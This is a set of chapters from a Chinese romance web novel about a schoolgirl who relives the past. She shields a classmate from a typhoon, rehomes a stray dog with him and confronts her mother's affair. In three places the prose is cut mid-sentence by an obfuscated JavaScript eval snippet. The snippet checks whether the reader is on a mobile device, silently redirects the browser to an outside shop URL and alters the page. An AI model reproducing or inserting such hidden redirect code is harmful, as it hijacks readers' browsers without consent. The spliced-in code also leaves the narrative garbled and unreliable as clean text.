酒店电梯已经关闭,摆上请走楼梯的告示牌。楼道的应急灯光有些暗,许一宴打开手机内置电筒,他们的影子在惨白墙壁和向下楼梯处延长,摇晃,形同鬼影。 下了一层楼梯,头顶忽然响起道沉闷剧烈的,玻璃打碎的响声,接着是什么东西重重哐当砸上门上的巨响。整幢酒店的感应灯都被响声惊亮了。 当许一宴跟着酒店管理员走上楼梯的时候,发现702的房间里渗出雨水和细碎的玻璃,狂暴的风在房间里咆哮呼喊,不停有被掀起的家具砸在墙上,发出惊心动魄的动静声。 住在702的女生脸色惨白,张着口说不出话。天灾太可怕了,衬托得人渺小无比,她不敢想象如果刚才没有被叫出去,现在会遭到怎样的伤害,恐怕会在心灵上留下一道永不磨灭的恐惧。 而许一宴站在议论纷纷的人群后面,感到呼吸发紧。 曲葵再一次说对了。 他靠着墙,长长出了口气。 还好他选择相信她。 还好,只要是曲葵说的话,哪怕听起来再无厘头,他都会相信。 他给曲葵发去一条消息:【那个女孩,没有受伤。】 而曲葵显然不关心这个,她只是发来语音,即便隔着数百公里,隔着遥不可及的电子屏幕,许一宴也听出她急切的,担心的声音:“那你呢,你有没有受伤。” 心中涌现出暖意,流向四肢百骸,许一宴垂在身侧的手指下意识蜷动。 他也用回复语音:“别担心,我没有受伤。” ** 曲葵重复点击许一宴发来的语音,听到因经过电子设备传输略微低声的嗓音。如释负重地跌回沙发,仰头看着被白炽灯照出几圈深浅不一的光晕的天花板,半晌用胳膊挡住眼睛。 改变了,这个事情的结果,曲葵忍不住傻笑,笑着笑着,挡住眼窝的手臂感受到了温热湿意。 良久,曲葵点开音乐app,发现一个月前上传的那段音频已经在网络上小火了一把,红心数2w+,评论也超过了一千。私信点开全是不少粉丝问她歌名想好了吗,什么时候发布全曲,还有一部分人问是不是给喜欢的人写的歌。 曲葵没有回复,走进琴房,抱着吉他盘腿坐在地面。 反正台风来袭也无事可做,她打算每天录一首指弹发到网络上,台风第一天录的这首是坂本龙一的《圣诞快乐劳伦斯先生》。 曲葵戴上耳机听原曲,一边给许一宴发语音。 “我准备练习吉他,你要不要听?” “要。” “那,我们来连麦吧!” 语音接通,许一宴没有说话,只有被玻璃挡住的沉闷风声传到曲葵耳中。 曲葵的耳朵烫了起来,心想和许一宴语音通话似乎还是在上一个时空,手指拨响几个音符,待声音沉寂,曲葵试探地开口:“许一宴,你不问我为什么会知道吗?” “如果我问了,你会告诉我真相吗,不用那个未卜先知的借口。” “我可以告诉你,你愿不愿意用一个等价的秘密来交换。”曲葵问。 她那句我来自未来的话已到嘴边,却听许一宴用微冷的声音说:“不用,每个人都用秘密,不需要刨根问到底。”他选择退缩,转移话题:“你不弹吉他了吗。” 好吧。曲葵猜到这个结果了,于是她轻声笑了下,用毫不在意的口吻说:“不过你估计要听我练习很久。” 后来曲葵又弹过很多次这首歌,却再也没有这种沉闷的,如水般静静流淌的,温柔忧伤的感觉。 就这样,曲葵度过了漫长而无聊的台风天,第三天的下午,隔壁大爷家楼顶上的太阳能又一次被狂风吹落在琴房外的巷子里,录进音频中,轰隆一声。 许一宴在语音那边问怎么了,曲葵已经历过一回,平静地回答他。 那时她弹得那首歌正好到间奏高潮部分,曲子的感情基调浓烈,她上传时发现短暂静止中的那声响,似乎有种绝望中趋近毁灭的感觉,听起来与曲子相得益彰。 曲葵没把这两秒剪掉。 这首纯音乐后来在网上火了很久,不过也是后话了。 台风结束的那天,雨水还是从门缝里蔓延进来,大早上班的曲林一脚踏进水里,冷得激灵。曲葵穿着睡衣从楼上上来,就看见他站在门口拎着鞋子,把水倒掉,无奈道:“发水灾了这是。” “爸,你先去上班吧。”曲葵蹚着水去厨房准备煮面,打开冰箱,刺鼻味道扑鼻而来,熏得曲葵连打几个喷嚏。 靠,她怎么忘了冰箱断电的事情,准备的肉类和蔬菜,因为停电基本都吃不了,放这么几天,已经有些发臭。 曲林站在玄关处说:“你不和我出去吃早饭啊?” “不用了!我收拾一下家里。”曲葵捏着鼻子,把坏掉的食物全部扔进垃圾袋。 “闺女真是长大了。”曲林点点头,颇为欣慰地离开了。 直到中午客厅里的水才退去,曲葵开门通风,用拖把将客厅中多余的雨水拖干净。巷子的积水已经排干了,满地狼藉,爬山虎枝条被打得七零八落,从墙壁上垂下来,花坛里红泥满地都是,堵在下水道, 这一切并没有什么改变。 下午,许一宴发消息告知他已经回扬明。 曲葵回复他自己正在家中打扫卫生,而后许一宴状态栏那显示很久的正在输入,最终还是什么都有发出来。 这几天,两人时常保持语音通话,曲葵一遍遍练习吉他,许一宴便沉默地听,过程中两人很少说话,仿佛形成了某种默契,但灾难一结束,似乎都成为彼此间不可言说的秘密。 曲葵记得在上一次的台风结束,他和朱覃会来找自己,是为了送那条项链。但在这个时空,许一宴并不知道她家住在哪里。 曲葵仰头望着碧波如洗的天空,又看向狼藉的家,最终还是打消问许一宴要不要一起吃晚饭的念头。 台风过去的第二周,街道已被清理干净,隔壁大爷的楼顶又换上新的太阳能,被台风破坏的城市在渐渐愈合。 ** 十一月一个平常的周末下午,半天短暂的高三假期,曲葵背着吉他坐公交去了天堂湖。 这片未来会发展成扬明旅游圣地的天堂湖,近两个月重建了很多地方,石子路被翻修,原来半人高的杂草堆被拔去,铺上绿油油的草坪,摸上去柔软而冰凉。草坪对面的小山坡种了大片向日葵,在阳光下绿得生辉。可惜是秋季种下的,才是花苗,曲葵也看不到明年开花的样子。 她坐在草坪上,抱着吉他,膝盖上放着克莱因蓝的谱曲本,拿着笔修修改改。 秋季的风变得有些凉,没有遮阳的树,太阳底下坐久了还是有些热,曲葵拉起外套帽子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034958|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴上,抬起头,看见对面山坡上立着道高挺人影,正在低头看手机。 是许一宴。 “我在这!”曲葵仍然保持盘腿坐在草地上的姿势,抬高胳膊朝他招手。 许一宴听见声音,朝她看过来,他戴着棒球帽,那双透亮的眼被帽檐阴影遮住,也可能是离得有些远,曲葵看不清他的表情。山坡上有人工搭建的台阶,是很大块的石头,有些摇晃,但许一宴走下来身形很平稳。 他走到曲葵面前,说:“我有事耽搁了几分钟,你等了很久吗?” “没,我也是才来不久。”曲葵拍拍身旁的草地,示意他坐。 许一宴走进她,望着绿油油的草地,不易察觉地挑了下眉:“看着应该,不太干净。你也不怕蚂蚁爬你身上去。” 话才刚说完,曲葵伸手拽他胳膊,许一宴猝不及防被拉得弯下腰,刚抿唇低头想说话,就撞进曲葵笑吟吟,透露着使坏成功的眼睛里。 曲葵掌心干燥暖和,拉住许一宴手晃了晃,不轻不重地捏了下许一宴的手指头,又松开:“怎么,学神还有洁癖啊。” 学吉他的人手指或多或少会有茧,曲葵也不例外,刚才摩挲他手指时的痒意,从手心蔓延到心脏里,最后涌出些难耐的躁热,许一宴最后还是面无表情地坐下来,也不去计较有没有蚂蚁了。 只是许一宴差点没维持住一贯冷淡示人的神情,他咳了几声:“你怎么……” 但罪魁祸首曲葵似乎没发现自己动作有多主动多撩拨人。她居然还笑着问:“怎么啦?” 许一宴不答,拿起那本横在两人中间的笔记本,曲葵解释:“这个是我用来作曲的本子,你可以翻开。” 很多由音符构成整页的谱曲,许一宴不懂音乐,看得一知半解,最后他目光停在某页的两句英文上,曲葵探身看见,想要阻止:“别念!” 晚了。 许一宴已经念出来了:“to hell with world,to hell with the exams……”他轻声笑了下,声音悦耳动听,带着几分愉悦,故意报复曲葵刚撩拨他似的:“原来你这么讨厌学习啊,校花。” “你还想不想听了,许一宴!”曲葵抢过许一宴手中的笔记本,扔得老远,像只被踩了尾巴想要咬人的猫。 这人真是,那么多中文歌词,偏偏就看见那两句堪称童年黑历史的英文。 许一宴嗯了声,“想。” 曲葵没辙地叹气,毕竟是她把人叫出来的,她拍拍脸颊,调整坐姿。 音乐在空旷无人的地方响起来,这首歌是她送给许一宴的,可曲葵每次弹起来,始终觉得缺了些什么,如果说音乐寄托作曲人的感情,那这首曲子的底色一定是她对许一宴的喜欢,太浓烈,太露骨。却没有合适的歌词。 弹完后,曲葵不敢去看许一宴,所以也没看见许一宴眼中的神色,半晌,她听见许一宴问:“这首歌现在有名字吗?” 曲葵摇摇头,苦恼:“暂时还没想到。作为这首歌的第一个听众,咳咳。”她抬手握拳作话筒状,“让我们采访一下这位同学,你觉得怎么样。” 许一宴:“好听。” “什么啊,就只有两个字吗?” “那你想要我怎么夸你?”许一宴眉眼柔和,“百年一遇的大才女,未来的顶流女歌手。” “算了算了。”曲葵打断他,“你这还不如不夸呢。” 许一宴认真道:“真的很好听,再弹一遍吧。” “可以,弹几遍都行。” 于是在那个午后,曲葵弹了一遍又一遍。将她对许一宴的感情,全沉淀在歌里,包括那些希望许一宴永远快乐的未尽之语。 转眼就到下午吃饭时间,两人顺着小路走出天堂湖,经过还没重建的野草丛,曲葵听见草丛中传来窸窸窣窣的声音。 许一宴以为是蛇,拉着曲葵朝旁边走,下一刻有什么从草丛里跑出来,挡在两人前面,冲许一宴不停地叫。 声音微弱,奶声奶气。 那是只雪白的,全身没有杂色,看起来脏兮兮的小狗。 许一宴变了脸色。 32.分别 周围沉默空气中只能听见带着热气的风吹动树叶发出的沙沙声,还有时不时蛰伏在树枝里将死未死的蝉鸣,一声比一声还要消沉。 “这是个什么品种的狗啊?好小一只,是不是只有几个月大。” 曲葵率先蹲下去,想要摸摸小白狗的脑袋,手还没放上去,忽然被许一宴拽回来:“当心被咬。”他的声音略显刻薄。 “不会的。你看,它在向我们求助呢。”曲葵手到底还是摸上去了,“好可怜的狗狗,这么小就成流浪狗了。” 许一宴没再说什么,眼神飘忽落在狗脸上,呼吸在沉默中都隐约停止。在他愣神的几秒钟里,曲葵已拖着小白狗的两只前爪,将它抱了起来,转头朝许一宴说:“它好可爱,你要不要试着摸摸?”但许一宴只是面带惊恐地后退两步,吐出极为冷淡刻薄的个字:“脏。” 曲葵注意到许一宴脸色难看,收敛微笑:“你不喜欢动物吗?” “没有不喜欢。”许一宴回答,却没有多余解释。于是曲葵很快便想起了许一宴梦中的那条白狗,仔细看看,它们长得十分相似,都是短短四肢,略微圆润的头,全身雪白,看向人的眼睛又大又圆,十分可爱。 曲葵隐约猜到原因,没有多问,只是用循循善诱的口吻道:“你想帮它吗?” 你想帮它吗? 想帮它吗?能救它吗?能吗?能吗?这些问题回荡在许一宴耳边,像要粉碎耳膜。他甚至有些不敢正眼去看那只狗,怎么会这么像呢,仿佛是从同一个模子里刻出来,他多年前短暂得到过又失去的那一只。那天它哀嚎着躺在地上,湿漉漉的眼睛望着他乞求他去救它。可那时他却无能为力,甚至连动一下手指都做不到。 胃部翻涌,心理性的干呕难以抑制,迫使许一宴绷紧下颌。 曲葵安静地站在原地,等待许一宴开口。 “我们……”良久之后,她看见许一宴轻轻地抽了口气,再开口,声音恢复冷静:“要怎么帮它?” 他们去附近的宠物医院,检查下来,只是轻微的炎症和脱水,医生给小白狗打了针,叮嘱曲葵这两天暂时别给狗洗澡,以免感染。 曲葵还在和宠物医生说话,许一宴先去缴纳费用。而后曲葵抱着小白狗,看见他坐在门口的凳子上发呆。 她微微皱眉,走过去,站在许一宴面前,刻意挡住他头顶白炽灯洒下来的那片光。许一宴的视线便顺势落在她脸上,睫毛挡住眼底的光。 他挑眉,用眼神询问。 曲葵抱着狗在许一宴面前蹲下,看见自己衣服上被蹭出来一圈圈黑色的痕迹,无奈地说:“在想现在要拿它怎么办。”她抬眼看他,眸光闪烁,似乎在问:你不打算帮到底吗。 许一宴选择视而不见,说:“我家不能养狗。” 曲葵:“好吧,那先让它住我家,不过我妈对动物毛过敏,也养不了太久。我们在网上发动物领养贴,看有没有人愿意收养,怎么样?” 许一宴点头说好。 “那,你现在陪我回家。”曲葵便笑起来,“我需要换个衣服。” 许一宴刚要拒绝,曲葵已经起身走出宠物诊所,旋即回头对他说:“还愣着做什么?” 宠物医院就在曲葵家附近,途中路过宠物店,曲葵又拉着许一宴进去买了些东西。最后两人拎着一堆宠物用品拐进曲葵家的胡同巷。 许一宴看了眼时间,五点半,距离晚自习还有两个小时。胡同口旁有几个老人在打牌,其中一个老太太看见曲葵怀里抱着的狗,便问她:“小曲,你去买宠物了?” “杨奶奶好,这是路边捡的流浪狗呢。”曲葵脸上露出标准的笑脸,假得许一宴都看出来了。 老太太对面的大爷闻言面露嫌弃:“啧啧,多脏啊,就这么抱在手里。” 曲葵记仇,还记得大爷说她家的事情,反唇相讥:“又不是你养,脏的也不是你的手。” “你这小孩,怎么和长辈说话呢!”大爷气得面红耳赤,看见曲葵旁边朝他头来冷漠目光的许一宴,又道:“年纪轻轻就开始早恋,真是没人管教。” 曲葵翻了个白眼。 走进胡同深处,吵闹声逐渐落在脑后。 许一宴侧目观察曲葵,发现她并没有为此感到生气,想来已经习惯。 他问:“你和邻居关系不好吗?” 只是抱着随口一问的念头,并不期待曲葵会解释,但曲葵认真思考了几秒,最后说:“在我小学的时候,关系还行吧。” “后来呢?” “我初中那会脾气不太好,有次他们背地里蛐蛐我爸妈吵架被我听见,我哪忍得了,当场就翻脸和他们吵了一架,然后就被记恨上了呗。我倒是无所谓关系好不好……”反正明年也要搬家。这句话,曲葵没说。 许一宴“哦”了声。 秋天黑的比夏天早,大片夕阳落在墙面茂盛的爬山虎上,反射过来的光照亮曲葵侧脸,细小绒毛清晰可见。 许一宴忽然觉得这幕有些似曾相识,循着过去记忆寻找,发现自己确实是第一次来,他愣怔神经被偷偷打量的曲葵看了去。 女孩偏过头,精致脸上落下两道电线阴影,斑驳又有几分不真实感:“你现在想什么?” “在想,”许一宴顿了下,眨眨眼睛,抬头望着陌生的胡同景致:“好像我来过这里,好奇怪,明明第一次来。” 曲葵瞳孔几不可察地收缩,显露的震惊立刻就被她垂下的头压在眼底深处,她盯着脚边碎石,将它踢得很远。 她调侃:“什么啊,是不是在梦里来过?” 许一宴眸光微暗:“或许吧。” 两人停在曲葵家门口,一道墨绿色的门,油漆发旧,失去光泽。 曲葵抱着狗拿钥匙开门,门开了,客厅安静,没有人,夕阳安静落在地面,照亮一隅天地。 许一宴扫视几眼曲葵家,手上的小型铁质笼放在地上:“我走了。” “别走,”曲葵顾不上抱了狗有些脏兮兮的手,眼疾手快拉住他衣摆,说得楚楚可怜:“你难道忍心让我一个人整理那么多东西,而且我也没有照顾动物的习惯。” “我也没有。”许一宴被拽得停下脚步,回头时曲葵已收回手,期待地看他,如果可以忽略衣服上两个沾着灰尘的手指印的话。 “曲葵。”许一宴无可奈何,那她没辙,叹气:“别撒娇。” “谁撒娇了!”曲葵立马摆出一副炸毛样,眼中笑意却更盛。 许一宴到底还是被曲葵拉进家,两人对着一直脏兮兮的狗折腾半天,中途曲葵一个不小心,被狗给越狱了,两人满客厅追着跑,才终于将它放进笼子,两个食碗分别装了水和狗粮。小动物来到新环境,抓着铁笼嘤嘤哼了半晌,饿得不行了才开始吃狗粮,吃完就睡。 洗完手,曲葵对着笼子拍照,上网站编辑领养信息,发出去后,她让许一宴去客厅,自己则进了厨房。 两个打散的鸡蛋在锅里煎得金黄,切丁的番茄倒进去一起翻炒,随后加水,水开下面放调料,面熟后洒上一把葱花。 曲葵端着两碗热气腾腾的番茄鸡蛋面放桌上,叫许一宴名字。结果扭头一看,发现许一宴不知何时蹲在铁笼外,沉默盯着狗睡觉。曲葵笑得不行,这人是不是忘记自己刚才嫌脏的话了。 许一宴被发现,面如止水走过来,拉开凳子坐下,接过曲葵递过来的筷子。 曲葵:“尝尝看,味道怎么样?” 许一宴吃相斯文,细嚼慢咽,评价道:“很好吃。” “我还会很多菜式,有机会再给你做其他的。” “好。” 虽然许一宴说好,但他心知肚明,这种机会恐怕也只有那么一次。只是这么想着,就如同嚼腊,难以下咽。 两周以来,连续有人在曲葵的贴下留言,要么就是住得离扬明太远不方便,要么就是想背着家里人偷偷领养,被曲葵pass了。筛选下来,最后是同市的一位在职女性,因为工作繁忙不能时刻照顾到女儿,想领养回去陪孩子。 第二天大课间跑操,曲葵和许一宴下楼,和他提这件这件事情。 天降温降得快,许一宴穿着校服外套,仍然是将拉链拉得很高,只露出脖颈间一圈米色毛衣的边和半截白皙的脖颈,并不显臃肿。 楼道嘈杂,他面无改色,连下两层楼后才说:“挺好的。”那语气可一点没听出来哪里好。 曲葵咀嚼半晌这不咸不淡的语气,好笑道:“你是不是舍不得了?” “怎么可能。”许一宴否认,“我总共才见过它两次,其中一次还是在路上遇见你送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039040|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它去宠物店洗澡。” “那是谁在它洗干净之后抱着一直不松手的?哎呀,不会是你吧。” “……” 许一宴不说话了,朝前走去。 曲葵在后面笑他脸皮薄,看人走出去大截,又放慢脚步回头等她,眼中满是“你怎么还不快点”的幽怨气息。 她见好就收,跑上前去,直至两人并排,许一宴才重新迈腿,这次步子有意放得慢了点,让曲葵能跟上。 “好吧好吧,你舍得。”曲葵说,“那,周日陪我去。” “去哪。” “把狗送给领养人。” “好。” 班级队伍在田径场集合,两人身高在同班男女生里排在后头。队伍排的是方阵,中间隔着几个学生,曲葵时而忍不住扭头看许一宴,只能看见他没被挡住的半截精致侧脸,在天光下明亮而凌厉。 ** 周日放学,曲葵回家吃完午饭洗澡,换上毛衣,电话响了,是小白狗的领养人打来的,向曲葵确认送狗的时间,因为下午要加班。 曲葵说马上,挂断电话,去角落。打开门,将狗抱出来,套上牵引绳,提着笼子,另一只手牵着它下楼。拖鞋声和狗爪脚步声纷杂。 曲林周末休息,在客厅看新闻,对她道:“你捡来的那只狗,是不是有人领养了?” 虽然这只暂时取名叫汤圆的狗,相处半个月,到底是生出了些感情。大抵知道自己是被主人捡回来的,汤圆很有灵性,也聪明。平时不叫,害怕也不叫,只有见曲葵朝它走过来,才会隔着笼子摇尾巴,哼哼唧唧地撒起娇来。 可惜了,养狗就要对它负责,以后也多份牵挂。现在的曲葵,还没有做好多一分牵挂的准备。 发尖潮湿还滴着水,曲葵打消戴帽子的念头,把之前买的狗粮提到门口:“嗯,我现在给她送过去。” 曲林说:“这么多东西,要不我开车送你去?” “不用,我和朋友约好一起去。”门快关上时曲葵听见曲林叮嘱,声音在房间里有些发闷,“我最近下晚自习开车过来接你吧,刚看新闻上报道,扬明最近好像有通缉犯,总之不太平,还是小心些。” “可以啊。”曲葵说着,关上门。 她正想给许一宴发消息,汤圆不知见了谁亢奋地叫起来,曲葵侧目,发现许一宴不知何时已经在门口附近等她,坐在黑色的电瓶车上,穿着羽绒服,长腿杵地。 汤圆看到许一宴就开始撒欢摇尾巴,最近它一日三餐吃得比人还好,体型长大不少,曲葵被拽得没办法,跟着走过去。 “你什么时候过来的啊,怎么不和我说一声。”曲葵见汤圆跳上电瓶车踏板,没好气道,“明明是我把你好吃好喝供着,怎么一见帅哥就走不动道。” 许一宴早已习惯曲葵时不时拿他开玩笑,低头揉了揉狗脑袋,选择性回答:“刚过来。” 铁笼不好拿也放不下,曲葵只把狗粮带走。轻车熟路抬腿往许一宴身后坐下,大大咧咧环抱住许一宴腰,“出发!我给你指路。” 许一宴掀起眼皮,从后视镜中打量曲葵,见她神色如常,又低头看了眼环在自己腰间的两只胳膊,没说话。 约定好的地点是领养人家附近,一个临近小区的老实小区。扬明不大,电瓶车行驶二十分钟后,曲葵下车,给对方打了个电话,告诉她自己已经到小区门外。 不多时,有个穿西装的女人和小女孩从小区出来。 曲葵朝她招手:“吴女士!” 女人面色疲倦,一看就是常年加班没休息好,双眼下有条微黑的眼袋,她走到曲葵面前,问:“这就是那只狗吗?” “嗯。”曲葵站在寒风中瑟缩脑袋,拿出汤圆打疫苗的单子,“我已经给它打过疫苗了。”她把牵引绳递到女人手中。 许一宴把狗粮袋子提下来。 女人一一接过,道了声谢,叫了声不停蹲在地上摸狗脑袋的小女孩,语气温柔:“瑜瑜,回家了。” 两人站在尘风中,直至母女的背影消失,曲葵才长长出了口气:“其实,养了半个多月,我还挺舍不得汤圆的。” 许一宴:“后悔了?” 曲葵“有点吧。”她看着苍茫的天空吐出一口白烟,“如果有缘分,以后还会再遇见。” 33.剧目 十二月的运动会,这次曲葵没有参加任何运动项目。 与运动会同时进行报名的,还有2012年元旦节晚会的表演节目。作为在高考毕业前最后一个学校活动,班上的学生都像打了鸡血。 10多个节目方案写在黑板上进行投票,三个舞台剧,分别是《暴风雨》,《哈姆雷特》,《罗密欧与朱丽叶》;4个小品,其中就有曲葵有印象的《考试疯云》,其他的节目都是全班大合唱。 “每人只能投一票哈。”老王站在讲台上,点了点靠近门口的座位:“就从第1组第1排开始吧。” 曲葵倒是对表演什么的都无所谓,托腮无所事事,看着学生接连上去,到底是高中生对考试有种刻在DNA的抵触,《考试疯云》票数居高不下,与之相差几票的是《哈姆雷特》。 眼看投票到曲葵这组,前座男生转头问:“诶诶曲葵,你打算投什么?” “《哈姆雷特》吧。”曲葵随口回答,心中思索的是上次撞见林语邱出轨是什么时候,丝毫没注意听前座男生的话:“那我也投这个吧。” 轮到曲葵,她拿粉笔在《哈姆雷特》后边划了个横,转身和同组最后一排的许一宴对上目光,见他眼中有询问意思,曲葵不明所以地耸耸肩,无声用口型问他:“怎么了?” 等她发现许一宴上去,紧接她的横下方划了笔竖,票数以一票之差超过小品,曲葵蓦然回神。 靠,变了。 剧本变了。 王范:“那我们班元旦表演节目就定《哈姆雷特》了,还有半个月元旦节,有意向参演的同学可以去班长那报名,晚自习前把名单交给我,另外买服装道具的钱从班费里扣。” 曲葵心里涌起不详的预感,这种预感很快得到证实,当天晚自习上王范宣布奥菲莉娅的表演人时,她感到两眼一黑。 曲葵举手:“老师,我没有报过名。” 王范低头确认:“没看错啊,写的是你名字。” 曲葵蹙眉,加重语气:“我没写过。” 班长解释:“老师,当时我去食堂吃饭回来,见曲葵名字已经在上面了,我还以为是她写的,那……会不会是其他同学……” 即便没说完,这事也不言而喻。 教室里设有监控,360°全方位无死角,王范时不时会看监控抓上课开小差的学生,想查谁擅自写了曲葵名字并不难。现在快要毕业了,同学关系不必闹得太僵,换个名字就可以。 王范摆摆手,说:“那,还有女同学想演吗?” 教室寂静。 王范无奈:“要不你,还是尝试一下?” 曲葵在心底啧了声。 她应该老老实实投小品的。 “好吧。” 表演名单就这么定下来了。实验男主哈姆雷特的学生是体育课代表,原本有人怂恿许一宴去报名,被他拒绝。 十二月开始,他开始忙着准备明年一月中旬CMO。 运动会当日没有出太阳,曲葵没什么比赛项目,裹着厚厚的羽绒服,双手蜷缩在外套口袋里,拉链拉到最高遮住大半张脸,仍然有些冷。 他们班依旧是将田径场围栏后边的那块地当据点,曲葵站在生锈的铁网后面,沉默得有些格格不入。这回她只负责加油,并没有发生许一宴联系她,说要为她加油的事情。 “曲葵,男生的1000米比赛开始了,要一起去加油吗?”徐梅走过来问,她的身后还站着几个女同学。 “你们去吧。”曲葵收回视线,挂上微笑,态度散漫,这次例假没提前,她撒谎也是信手拈来,“我不太不舒服,就不去了,在据点里帮你们看东西。” “那好吧。”徐梅看起来有些失望,在这个时空,曲葵与她关系很淡。 同班男女生接连离开,很快据点只剩曲葵,她拉开课桌下的椅子,坐下,手插兜,双腿伸直,头部后靠在椅背上。 身下的凳子腿翘起又落下,视野来回游荡,望着被层层树叶遮挡住,只能露出窄而小的一方晦暗天空,呼吸间白气从鼻腔喷薄,消散。 女生的800米比赛在下午3:00,她当时跑完后低血糖持续了多长时间,许一宴送她回家又花了多长时间。 那一次,误打误撞看见林语邱和别人在亲吻,促进父母离婚,但闹得几人最后不体面,还让周围邻居把笑话都看了去。甚至,许一宴还看见她那副发疯般的模样。 曲葵闭上眼,感受着寒冷侵蚀,觉得似乎又变冷了。 如果什么都不做,林语邱大抵还是会不告而别。 只是离婚而已,怎么主动提出都不敢? 耳边传来比赛枪声,几个班喊加油的声音此起彼伏,时而遥远时而近在咫尺,曲葵听到一道高而洪亮的声音,叫着他们班某个女生的名字,便知道女生800米比赛已经开始了。 翘起的凳腿落到地上,咚地响,曲葵睁开双眼,倏然站起,她叫住刚拿水准备离开的男同学:“你能看下据点吗?我有事要离开会。” 说完不等男同学回答,曲葵便攥着手机,走掉了。 高一高二的运动会在前一周结束,这个时间,学校里没什么人,都去上课了,天气冷,门卫大叔缩在保安亭里不愿意出来。 曲葵没有请假条,正门出不去,她戴上外套帽子,遮住大半张脸,走去了从不开放的学校侧门。 侧门和正门一样,是道不怎么高的自动伸缩门,曲葵高一那会儿,经常和程渡他们从这里翻出去。 八九年没有翻过墙,曲葵按了按眉心,确认附近看不到什么人后,熟练翻出去,双脚落地就开始狂奔。 手机在口袋里不停震动,应该是有人问她去哪,曲葵不管不顾,一路小跑回家。站在胡同口处才停下来,弯着腰喘气,刚还觉得冷,现在反而有些热。 曲葵站在原地,迟迟没有进去。惶恐会看到些什么画面,可她知道,时间根本没有到。 她走到爬山虎旁边,站了许久,心中数着时间,无比漫长煎熬。 寒气透过脚踝,双腿冷得僵直,曲葵不知道等了多久,听见左侧传来高跟鞋声音,越来越近。还有女人的笑和男人低声说话的声音。 曲葵抬脚,鞋底的小石头被她踢出去,重重砸在爬山虎对面的塑料垃圾桶上,声音不响,也足够让附近的人听见了。 石头落地,滚落一圈,不动了,与此同时一同停下的还有高跟鞋的脚步声。 “谁啊!” 曲葵从郁郁葱葱,挡住她的爬山虎架子边上走出去,逐渐地,和那两双视线对上。 她扯下耳机,缓慢抬头,将对方因被撞见而浮起的张皇失措尽收眼底,并扬起一个灿烂却未达眼底深处的笑,很快笑褪色变得冷漠,看起来和腊月的寒冬没有什么区别。 “林语邱,我早就知道你出轨的事情了。” “谈谈吧,你没有理由拒绝。” ** 咖啡店氤氲朦胧的暖光灯下,曲葵伸出两根指头,将桌面正中央的咖啡杯推向林语邱所在的方向。 “ 妈,愣着做什么,你不是最喜欢喝拿铁咖啡,为什么不喝。” 林语邱独自坐在她正对面,阴沉着脸,没有说话。她面前,丝丝缕缕热气从有着爱心拉花的液体上浮,挡在她与曲葵之间。林语邱有些恍惚,想起自己和女儿似乎很久都没有心平气和坐在同一张桌子上了。 过去的次数本来很少,未来只会变得寥寥无几。 她抬起头,眼皮上黏着的卷翘假睫毛在剧烈颤动,可那个与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049285|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她样貌有七分相似的,脸上干干净净的女孩只是冷漠望向别处,可能是角落里的龟背竹盆栽,也可能是掉在地面上的一团纸屑,反正不是她。 林语邱的胸膛里徒然升腾出一股无名火,恼火曲葵发现后居然只是毫不在意的态度,更恼火此刻自己该说什么都不知道。年轻是成为小提琴家的那些年,向来高傲的她怎么可能低头主动对别人解释点什么。 她不幸福,从任性下做出那个改变一生的决定开始就不幸福,痛苦已经承受了这么多年,凭什么不可以寻找爱情。所以哪怕被亲生女儿发现,她也不觉得自己错了。 林语邱:“你是怎么知道的?” 得到的只有沉默。 林语邱微微提高声音,冷笑:“怎么,你偷看我手机?还是跟踪我?你一个学生正事不做,整天就知道抓自己亲妈把柄,把你这些花在别处的精力用在读书上,恐怕已经考年级前五十了吧。” “你真是无药可救。”曲葵说,“你知道自己最爱的小提琴琴弦曾经断了一根吗,我在乐器店里买替换弦的时候,居然看见你和那个男人正好从店门口经过,后面还去了一家西餐厅。需要我把座位号说告诉你吗?妈,你过去不是最看重名誉了,怎么会做偷鸡摸狗的事情呢。” 越说下去,林语邱的脸色便越阴沉,瓷白的粉底液涂抹在脸上,因皱眉扯出几道细纹。 料想是这番话戳到林语邱痛处,她时刻尽力维持的优雅形象顷刻崩坏:“名誉,我还有什么名誉?这个鸡不生蛋鸟不拉屎的小城市,谁知道我?从和你爸结婚从我手伤再也拉不动小提琴的那一刻起,我的人生就像在无底洞里。特别是你,特别是你!你有那么好的天份,居然只想着摆弄你那不流的吉他,简直浪费!” 开始了,曾经说过的一模一样的说辞,想来也是可笑,曲葵从来和林语邱没什么公共话题,口袋中的手机一直在震动。她看了眼,发现运动会快要结束了,之后要排练舞台剧,小群里,好几个参演的学生都在@她,问她在哪。 曲葵回复“等我一会”,关了手机,见林语邱仍在孜孜不倦,曲葵说:“可这不是你自己的选择吗?” 